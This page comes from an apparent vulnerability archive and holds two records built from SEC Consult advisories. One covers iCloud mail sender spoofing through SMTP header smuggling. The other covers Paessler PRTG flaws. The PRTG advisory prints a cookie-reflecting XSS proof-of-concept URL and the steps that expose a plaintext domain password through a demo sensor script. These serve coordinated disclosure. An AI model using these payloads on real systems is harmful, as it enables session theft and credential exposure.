~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://sec-consult.com/career/ Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: security-research at sec-consult dot com Web: https://www.sec-consult.com Blog: https://blog.sec-consult.com X: https://x.com/sec_consult EOF Timo Longin / @2026 _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "iCloud mail (SMTP submission service)",
          "vendor": "Apple",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "SEC Consult Vulnerability Lab via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "SEC Consult Vulnerability Lab Research Announcement \u003c 20261001 \u003e\n=======================================================================\n              title: Arbitrary Email sender spoofing in Apple iCloud mail\n            product: Apple iCloud mail (SMTP submission service)\n vulnerable version: iCloud mail infrastructure (cloud service)\n      fixed version: Fixed by Apple (verified by SEC Consult, 2025-12-09)\n         CVE number: None assigned\n             impact: Sending of emails from arbitrary icloud.com addresses,\n                     passing SPF, DKIM and DMARC checks\n           homepage: https://www.apple.com/\n           reported: 2024-05-21 (issue 1), 2024-12-07 (issue 2)\n                 by: Timo Longin (Office Vienna)\n                     SEC Consult Vulnerability Lab\n\n                     An integrated part of SEC Consult, an Atos business\n                     Europe | Asia\n\n                     https://www.sec-consult.com\n\n=======================================================================\n\nSummary:\n--------\nThe SEC Consult Vulnerability Lab has published a blog post about two\nemail spoofing vulnerabilities in Apple\u0027s iCloud mail infrastructure.\nThey allowed an authenticated iCloud user to send emails from arbitrary\nicloud.com addresses. The spoofed messages passed SPF, DKIM and DMARC\nchecks at the receiving side. The research builds on SMTP smuggling.\n\n\nBlog URL:\n---------\nFull technical details here:\nhttps://r.sec-consult.com/icloud\n\n\nVulnerability overview/description:\n-----------------------------------\n1) From header smuggling via bare CR characters\niCloud\u0027s SMTP submission services handle a From header containing bare\nCR characters differently in two internal components. The component\nthat authenticates the sender ignores the manipulated header, while a\nsecond component, which is likely Postfix-based, replaces standalone CR\ncharacters with CR LF. This pushes the legitimate From header into the\nmessage body and leaves the attacker-controlled From header as the one\nseen by the receiver.\n\n2) From header smuggling via dot-stuffing handling (\"dot-peeling\")\nAfter Apple hardened the From header parsing of the first component, a\nsecond bypass was found. The first component does not honor the\ndot-stuffing rules of RFC 5321 section 4.5.2, which allowed the\nseparation of header and body to be abused in the second component.\n\n\nImpact:\n-------\nBoth issues allowed sending emails as arbitrary icloud.com addresses.\nDKIM signatures are created after the message has been processed by the\nsecond component, therefore SPF, DKIM and DMARC checks all passed on the\nreceiving side.\n\n\nVendor contact timeline:\n------------------------\n2024-05-21: Initial vulnerability report submitted to Apple: icloud.com SMTP\n            services can be abused via CRLF injection in the From: header to\n            send spoofed emails (e.g., admin () icloud com) with valid DKIM/DMARC.\n            PoC files and script attached; credit line requested for Timo Longin\n            / SEC Consult Vulnerability Lab.\n2024-06-06: Follow-up requesting a status update and fix timeline; Apple\n            responds that the issue is still under investigation and asks that\n            details not be disclosed until fixed.\n2024-06-27: Follow-up requesting a status update.\n2024-06-29: Apple reports no new status update.\n2024-08-01: SEC Consult confirms the PoC script no longer works and asks Apple\n            to confirm a fix was made.\n2024-08-09: Apple reports no new status update, thanks SEC Consult for patience.\n2024-09-01: Follow-up requesting a status update.\n2024-09-11: Apple reports still investigating, no new updates to share.\n2024-10-07: Follow-up checking the issue hasn\u0027t been forgotten.\n2024-10-08: SEC Consult notes an upcoming SMTP smuggling talk at IT-SECX (Oct\n            11) that will not disclose new vulnerability details; asks Apple for\n            a fix timeline.\n2024-10-17: Apple states changes have been made and asks SEC Consult to confirm\n            current behavior.\n2024-11-01: SEC Consult confirms the original PoC (CRLF injection in From:\n            header) is no longer exploitable; proposes public disclosure at\n            BSidesVienna on Nov 23, 2024, plus a blog post in December.\n2024-11-04: Apple confirms the report as remediated and asks to review a draft\n            of the planned disclosure.\n2024-11-07: Draft BSidesVienna slides shared with Apple (attachment failed to\n            send).\n2024-11-09: Apple reports the attachment wasn\u0027t received; asks SEC Consult to\n            resend.\n2024-11-11: Slides resent; SEC Consult asks Apple for root-cause details\n            (proprietary iCloud SMTP vs. third-party software).\n2024-11-19: Apple confirms the report qualifies for the Apple Security Bounty\n            and awards $15,000.\n2024-12-06: SEC Consult discovers a second, related parsing issue enabling\n            From-header spoofing via a different method; Apple asks that it be\n            filed as a separate report.\n2024-12-07: New report opened and tracked as OE196504222209; Apple acknowledges\n            receipt.\n2024-12-11: SEC Consult reports the deployed fix is insufficient - it merely\n            blacklists the POC substring \"admin\" in the From: header rather than\n            fixing the root parsing flaw, leaving most other @icloud.com\n            addresses spoofable and potentially breaking mail for legitimate\n            users with \"admin\" somewhere in their address.\n2024-12-12: SEC Consult provides a new working PoC spoofing security () icloud com,\n            with supporting screenshots, raw message, and script.\n2024-12-16: Apple acknowledges the additional information and states it will\n            follow up if further details are needed.\n2025-01-28: SEC Consult shares further technical analysis, noting Postfix\u0027s\n            smtpd_sender_login_maps limitations and recommending a Milter-based\n            filter (e.g., milterfrom) that checks the From: header against the\n            final email data before sending, as a likely root-cause fix.\n2025-01-29: Apple acknowledges the analysis, states the issue is still under\n            investigation.\n2025-03-28: SEC Consult confirms the vulnerability is still exploitable. Apple\n            replies (marked confidential) that a fix is planned for a future\n            security update and asks that disclosure wait until it ships.\n2025-04-04: SEC Consult agrees to hold disclosure and asks for a rough\n            timeframe; Apple says more information will be available in the\n            coming weeks.\n2025-05-22: SEC Consult asks for an update, noting the issue remains\n            exploitable.\n2025-05-24: Apple reports an update was released in the prior 48 hours and asks\n            SEC Consult to reassess whether the issue is remediated.\n2025-06-10: Apple follows up again asking SEC Consult to confirm whether the\n            update fixed the issue.\n2025-06-13: SEC Consult confirms a bypass still exists, working the same way as\n            described in report OE196504222209; Apple acknowledges and says it\n            will review.\n2025-07-17: SEC Consult asks for a fix update, noting a conference talk planned\n            in about two months.\n2025-07-22: Apple states the issue is still under investigation and reminds SEC\n            Consult that bounty eligibility requires no public disclosure before\n            an update ships with a security advisory.\n2025-09-10: SEC Consult reports the conference talk was cancelled and asks for a\n            status update.\n2025-09-12: Apple replies (marked confidential) that a fix is planned for a\n            future security update \"in the near future\" and again asks for\n            continued non-disclosure.\n2025-10-08: SEC Consult reports the vulnerability is still exploitable and asks\n            whether the update has shipped.\n2025-10-10: Apple states changes are being implemented and more information will\n            follow soon.\n2025-11-11: SEC Consult confirms the previous PoC spoofing method no longer\n            works; asks Apple to confirm the fix is fully rolled out.\n2025-11-12: Apple confirms the updates have been pushed out and asks SEC Consult\n            to review.\n2025-11-14: SEC Consult confirms they will review the fix.\n2025-12-09: SEC Consult confirms the deployed fixes remediate the original\n            issue.\n2026-10-01: Public release of blog post.\n\n\n\nSolution:\n---------\nApple has fixed the vulnerabilities in its iCloud mail infrastructure.\nNo CVE was assigned.\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Atos business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers.\nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your application https://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local offices https://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb: https://www.sec-consult.com\nBlog: https://blog.sec-consult.com\nX: https://x.com/sec_consult\n\nEOF Timo Longin / @2026\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-02T07:30:01Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/1"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Oct/1"
        },
        {
          "url": "https://blog.sec-consult.com"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://r.sec-consult.com/icloud"
        },
        {
          "url": "https://sec-consult.com/career/"
        },
        {
          "url": "https://sec-consult.com/contact/"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.apple.com/"
        },
        {
          "url": "https://www.sec-consult.com"
        },
        {
          "url": "https://x.com/sec_consult"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Oct/1"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "SEC Consult Research 20261001 :: Arbitrary Email sender spoofing in Apple iCloud mail",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0474",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/1",
            "automated": true,
            "contentSha256": "0ed62a147fa946c4ca0b2152a82a5d1d71a144d5f543fde73e61c1f8ba39986a",
            "evidenceScore": 8,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Oct/1",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-10-01T12:08:33Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-11-02T07:30:01Z",
    "dateUpdated": "2026-11-02T07:30:01Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0474"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0473

Vulnerability from gna-1988 – Published: 2026-11-02 07:30 – Updated: 2026-11-02 07:30
VLAI
Title
SEC Consult SA-20260924-0 :: Multiple Vulnerabilities in Paessler PRTG Network Monitor #CVE-2026-4637 #CVE-2026-4638
Summary
SEC Consult Vulnerability Lab Security Advisory < 20260924-0 > ======================================================================= title: Multiple Vulnerabilities product: Paessler PRTG Network Monitor vulnerable version: <26.2.120.1449       fixed version: 26.2.120.1449          CVE number: CVE-2026-4637, CVE-2026-4638              impact: high homepage:https://www.paessler.com/prtg/prtg-network-monitor               found: 2026-01-29 by: J. Kruchem (Office Vienna) S. Michlits (Office Vienna) SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Atos business Europe | Asia https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "We provide industry-leading monitoring solutions for businesses of all sizes, from SMBs to large enterprises. In collaboration with trusted partners, we address the challenges of ever-evolving infrastructures, ensuring that businesses can operate without disruption. Source:https://www.paessler.com/company/about-us Business recommendation: ------------------------ The vendor provides a patch which should be installed immediately. SEC Consult highly recommends to perform a thorough security review of the product conducted by security professionals to identify and resolve potential further security issues. Vulnerability overview/description: ----------------------------------- 1) Cross Site Scripting (CVE-2026-4637) PRTG Security Monitoring reflects the path when trying to acccess a URL which does not exist. For example, the following URL leads to a 403 forbidden path error message: https://<$IP>/not_existing/welcome.htm ``` HTTP/1.1 403 Forbidden Path: /not_existing/ [Error 403: Forbidden Path: /not_existing/] ``` The extension ".htm" is required at the end of the URL. HTML code is not sanitized in the URL and will be reflected. Unauthorized attackers can execute arbitrary JavaScript code in the victim's browser in the context of the attacked PRTG installation. 2) Plaintext Storage of Password (CVE-2026-4638) A PRTG user can select pre-defined scripts when creating an EXE/Script sensor. One pre-defined VBScript takes two integers as arguments and returns their product (e.g. arg1=7 arg2=7, result=49). cscript.exe generally returns an error if calculating strings. The error contains the string itself. A documented variable %windowspassword holds the configured domain user password which can be used as argument for the VBScript and thus gets reflected as error when trying to run the script. The PRTG user must not be a read-only user and sensor creation needs to be allowed (default). Proof of concept: ----------------- 1) Cross Site Scripting (CVE-2026-4637) The following URL can be used as a proof of concept reflecting back the victim's session cookie: https://<$IP>/<script>alert(document.cookie)</script>/welcome.htm Since the HttpOnly flag is not set, the cookie will be reflected if a victim has a session and opens the URL. ``` HTTP/1.1 403 Forbidden Path: /<script>alert(document.cookie)</script>/ [Error 403: Forbidden Path: /<script>alert(document.cookie)</script>/] ``` 2) Plaintext Storage of Password (CVE-2026-4638) The following steps can be performed to reflect the configured domain user password: - Create a new sensor EXE/Script - Select 'Demo VBScript - Multiplies two integers(2 parameters).vbs' - Use parameter value: '%windowspassword %windowspassword' - Save - Click on the refresh symbol to execute the script - The cscript error in the red paragraph shows the plaintext password Output: ``` Response not well-formed: "(C:\Program Files (x86)\PRTG Network Monitor\ custom sensors\EXE\Demo VBScript - Multiplies two integers(2 parameters).vbs(6, 1) Microsoft VBScript runtime error: Type mismatch: '[string: "asdfQWER1234!"]' )" (code: PE132) ``` Vulnerable / tested versions: ----------------------------- The following version has been tested which was the latest version available at the time of the test: * 25.4.114.1032+ According to the vendor, versions before 26.2.120.1449 are affected. Vendor contact timeline: ------------------------ 2026-01-29: Contacting vendor throughsecurity () paessler com 2026-01-29: Automatic reply that message was received; no further response. 2026-02-09: Following up again, asking for PGP keys. 2026-02-09: Vendor sends PGP key fingerprint, but public PGP key is missing. 2026-02-10: Vendor sends link to PGP key on their website. Sending encrypted advisory to vendor. 2026-02-11: Vendor confirms receipt of advisory and starts internal review. 2026-03-05: Asking for a status update. 2026-03-06: Vendor responded with update for coming week. 2026-03-10: Another vendor contact responds to our initial email from 29th January. 2026-03-11: Clarifying that it is the same report and vendor investigation is already ongoing. 2026-03-23: Vendor stated that the fix will be released in May 27. 2026-03-23: Reserved CVE numbers and communicated them to the vendor. 2026-05-29: Vendor needs to postpone release to 9th July instead of 18th June. 2026-06-03: Vendor fixes issues in version 26.2.120.1449. 2026-06-08: Confirming new release date. 2026-07-02: Vendor drafts communication for customers for the release on 9th July. 2026-07-15: Vendor provides their own security advisory. 2026-07-21: Informing vendor regarding publication delay on our side. 2026-08-12: We will inform vendor regarding release date. 2026-09-23: Planned release for 24th September. 2026-09-24: Public release of security advisory. Solution: --------- The vendor provides a patched version 26.2.120.1449 which can be downloaded from the following URL: https://www.paessler.com/de/download/ Vendor security advisory: https://paessler.freshdesk.com/en/support/solutions/articles/76000088640 Workaround: ----------- None Advisory URL: ------------- https://sec-consult.com/vulnerability-lab/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab An integrated part of SEC Consult, an Atos business Europe | Asia About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an Atos business. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your applicationhttps://sec-consult.com/career/ Interested in improving your cyber security with the experts of SEC Consult? Contact our local officeshttps://sec-consult.com/contact/ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: security-research at sec-consult dot com Web:https://www.sec-consult.com Blog:http://blog.sec-consult.com X:https://x.com/sec_consult EOF J. Kruchem, S. Michlits / @2026 _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Relationships
analysis GCVE-1988-2026-0473 (this record)

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "Prtg Network Monitor",
          "vendor": "Paessler",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "SEC Consult Vulnerability Lab via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "SEC Consult Vulnerability Lab Security Advisory \u003c 20260924-0 \u003e\n=======================================================================\n              title: Multiple Vulnerabilities\n            product: Paessler PRTG Network Monitor\n vulnerable version: \u003c26.2.120.1449\n\u00a0 \u00a0 \u00a0 fixed version: 26.2.120.1449\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0CVE number: CVE-2026-4637, CVE-2026-4638\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0impact: high\n           homepage:https://www.paessler.com/prtg/prtg-network-monitor\n\u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 \u00a0 found: 2026-01-29\n                 by: J. Kruchem (Office Vienna)\n                     S. Michlits (Office Vienna)\n                     SEC Consult Vulnerability Lab\n\n                     An integrated part of SEC Consult, an Atos business\n                     Europe | Asia\n\n                     https://www.sec-consult.com\n\n=======================================================================\n\nVendor description:\n-------------------\n\"We provide industry-leading monitoring solutions for businesses of all\nsizes, from SMBs to large enterprises. In collaboration with trusted\npartners, we address the challenges of ever-evolving infrastructures,\nensuring that businesses can operate without disruption.\n\nSource:https://www.paessler.com/company/about-us\n\n\nBusiness recommendation:\n------------------------\nThe vendor provides a patch which should be installed immediately.\n\nSEC Consult highly recommends to perform a thorough security review of the product\nconducted by security professionals to identify and resolve potential further\nsecurity issues.\n\n\nVulnerability overview/description:\n-----------------------------------\n1) Cross Site Scripting (CVE-2026-4637)\nPRTG Security Monitoring reflects the path when trying to acccess a URL which\ndoes not exist. For example, the following URL leads to a 403 forbidden path\nerror message:\n\nhttps://\u003c$IP\u003e/not_existing/welcome.htm\n\n```\nHTTP/1.1 403 Forbidden Path: /not_existing/\n\n[Error 403: Forbidden Path: /not_existing/]\n```\n\nThe extension \".htm\" is required at the end of the URL. HTML code is not\nsanitized in the URL and will be reflected. Unauthorized attackers can\nexecute arbitrary JavaScript code in the victim\u0027s browser in the context\nof the attacked PRTG installation.\n\n\n2) Plaintext Storage of Password (CVE-2026-4638)\nA PRTG user can select pre-defined scripts when creating an EXE/Script sensor.\nOne pre-defined VBScript takes two integers as arguments and returns their\nproduct (e.g. arg1=7 arg2=7, result=49). cscript.exe generally returns\nan error if calculating strings. The error contains the string itself.\nA documented variable %windowspassword holds the configured domain user\npassword which can be used as argument for the VBScript and thus gets\nreflected as error when trying to run the script.\n\nThe PRTG user must not be a read-only user and sensor creation needs to be\nallowed (default).\n\n\nProof of concept:\n-----------------\n1) Cross Site Scripting (CVE-2026-4637)\nThe following URL can be used as a proof of concept reflecting back the\nvictim\u0027s session cookie:\n\nhttps://\u003c$IP\u003e/\u003cscript\u003ealert(document.cookie)\u003c/script\u003e/welcome.htm\n\nSince the HttpOnly flag is not set, the cookie will be reflected if a\nvictim has a session and opens the URL.\n\n```\nHTTP/1.1 403 Forbidden Path: /\u003cscript\u003ealert(document.cookie)\u003c/script\u003e/\n\n[Error 403: Forbidden Path: /\u003cscript\u003ealert(document.cookie)\u003c/script\u003e/]\n```\n\n2) Plaintext Storage of Password (CVE-2026-4638)\nThe following steps can be performed to reflect the configured domain user\npassword:\n\n- Create a new sensor EXE/Script\n- Select \u0027Demo VBScript - Multiplies two integers(2 parameters).vbs\u0027\n- Use parameter value: \u0027%windowspassword %windowspassword\u0027\n- Save\n- Click on the refresh symbol to execute the script\n- The cscript error in the red paragraph shows the plaintext password\n\nOutput:\n```\nResponse not well-formed: \"(C:\\Program Files (x86)\\PRTG Network Monitor\\\ncustom sensors\\EXE\\Demo VBScript - Multiplies two integers(2 parameters).vbs(6, 1)\nMicrosoft VBScript runtime error: Type mismatch: \u0027[string: \"asdfQWER1234!\"]\u0027 )\"\n(code: PE132)\n```\n\nVulnerable / tested versions:\n-----------------------------\nThe following version has been tested which was the latest version available\nat the time of the test:\n* 25.4.114.1032+\n\nAccording to the vendor, versions before 26.2.120.1449 are affected.\n\n\nVendor contact timeline:\n------------------------\n2026-01-29: Contacting vendor throughsecurity () paessler com\n2026-01-29: Automatic reply that message was received; no further response.\n2026-02-09: Following up again, asking for PGP keys.\n2026-02-09: Vendor sends PGP key fingerprint, but public PGP key is missing.\n2026-02-10: Vendor sends link to PGP key on their website.\n            Sending encrypted advisory to vendor.\n2026-02-11: Vendor confirms receipt of advisory and starts internal review.\n2026-03-05: Asking for a status update.\n2026-03-06: Vendor responded with update for coming week.\n2026-03-10: Another vendor contact responds to our initial email from 29th\n            January.\n2026-03-11: Clarifying that it is the same report and vendor investigation\n            is already ongoing.\n2026-03-23: Vendor stated that the fix will be released in May 27.\n2026-03-23: Reserved CVE numbers and communicated them to the vendor.\n2026-05-29: Vendor needs to postpone release to 9th July instead of 18th June.\n2026-06-03: Vendor fixes issues in version 26.2.120.1449.\n2026-06-08: Confirming new release date.\n2026-07-02: Vendor drafts communication for customers for the release on 9th July.\n2026-07-15: Vendor provides their own security advisory.\n2026-07-21: Informing vendor regarding publication delay on our side.\n2026-08-12: We will inform vendor regarding release date.\n2026-09-23: Planned release for 24th September.\n2026-09-24: Public release of security advisory.\n\n\nSolution:\n---------\nThe vendor provides a patched version 26.2.120.1449 which can be downloaded\nfrom the following URL:\n\nhttps://www.paessler.com/de/download/\n\nVendor security advisory:\nhttps://paessler.freshdesk.com/en/support/solutions/articles/76000088640\n\n\nWorkaround:\n-----------\nNone\n\n\nAdvisory URL:\n-------------\nhttps://sec-consult.com/vulnerability-lab/\n\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nSEC Consult Vulnerability Lab\nAn integrated part of SEC Consult, an Atos business\nEurope | Asia\n\nAbout SEC Consult Vulnerability Lab\nThe SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an\nAtos business. It ensures the continued knowledge gain of SEC Consult in the\nfield of network and application security to stay ahead of the attacker. The\nSEC Consult Vulnerability Lab supports high-quality penetration testing and\nthe evaluation of new offensive and defensive technologies for our customers.\nHence our customers obtain the most current information about vulnerabilities\nand valid recommendation about the risk profile of new technologies.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nInterested to work with the experts of SEC Consult?\nSend us your applicationhttps://sec-consult.com/career/\n\nInterested in improving your cyber security with the experts of SEC Consult?\nContact our local officeshttps://sec-consult.com/contact/\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nMail: security-research at sec-consult dot com\nWeb:https://www.sec-consult.com\nBlog:http://blog.sec-consult.com\nX:https://x.com/sec_consult\n\nEOF J. Kruchem, S. Michlits / @2026\n\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-02T07:30:01Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/0"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Oct/0"
        },
        {
          "url": "http://blog.sec-consult.com"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://paessler.freshdesk.com/en/support/solutions/articles/76000088640"
        },
        {
          "url": "https://sec-consult.com/career/"
        },
        {
          "url": "https://sec-consult.com/contact/"
        },
        {
          "url": "https://sec-consult.com/vulnerability-lab/"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        },
        {
          "url": "https://www.paessler.com/company/about-us"
        },
        {
          "url": "https://www.paessler.com/de/download/"
        },
        {
          "url": "https://www.paessler.com/prtg/prtg-network-monitor"
        },
        {
          "url": "https://www.sec-consult.com"
        },
        {
          "url": "https://x.com/sec_consult"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Oct/0"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "SEC Consult SA-20260924-0 :: Multiple Vulnerabilities in Paessler PRTG Network Monitor #CVE-2026-4637 #CVE-2026-4638",
      "x_gcve": [
        {
          "recordType": "analysis",
          "relationships": [
            {
              "destId": "CVE-2026-4637",
              "type": "related"
            },
            {
              "destId": "CVE-2026-4638",
              "type": "related"
            }
          ],
          "vulnId": "GCVE-1988-2026-0473",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Oct/0",
            "automated": true,
            "contentSha256": "39b165de7607fca0099f04a70a780f6d540579e9073669caa1c491d3c670d4fb",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Oct/0",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-10-01T10:57:56Z"
          }
        },
        {
          "recordType": "advisory",
          "vulnId": "gcve-1988-2026-0473"
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-11-02T07:30:01Z",
    "dateUpdated": "2026-11-02T07:30:01Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0473"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}
displaying 101 - 110 publications in total 581